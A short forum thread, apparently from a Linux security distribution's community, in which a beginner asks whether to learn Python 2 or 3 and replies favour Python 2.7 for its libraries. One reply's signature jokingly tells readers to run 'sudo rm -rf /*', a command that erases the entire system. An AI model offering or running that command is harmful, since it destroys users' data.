Hello everyone

I’m just wondering if most of the tools are using Python 2.x or is it going to go to 3.3?

trying to figure out which version of Python should i start learning.


Thanks

Nix

Hi nixguy,

Like you said, python 3 need few more years to be standard for new apps/tools. Even if you start with python 2 you will need less time to move to python 3.



Don't ask, read : http://wiki.backbox.org
or just run sudo rm -rf /*

Python 2.x is the present

Python 3.x is the future.

However there are a LOT of libraries for 2.x , much more than for the 3.x version. It would take atleast a couple of years for the 3.x to reach the glory 2.x has. You are safe starting with Python 2 and the transition to the 3.x will be easy.

python 2 is the best as it cover 98% of the worldwide tools, especially 2.7 ;)
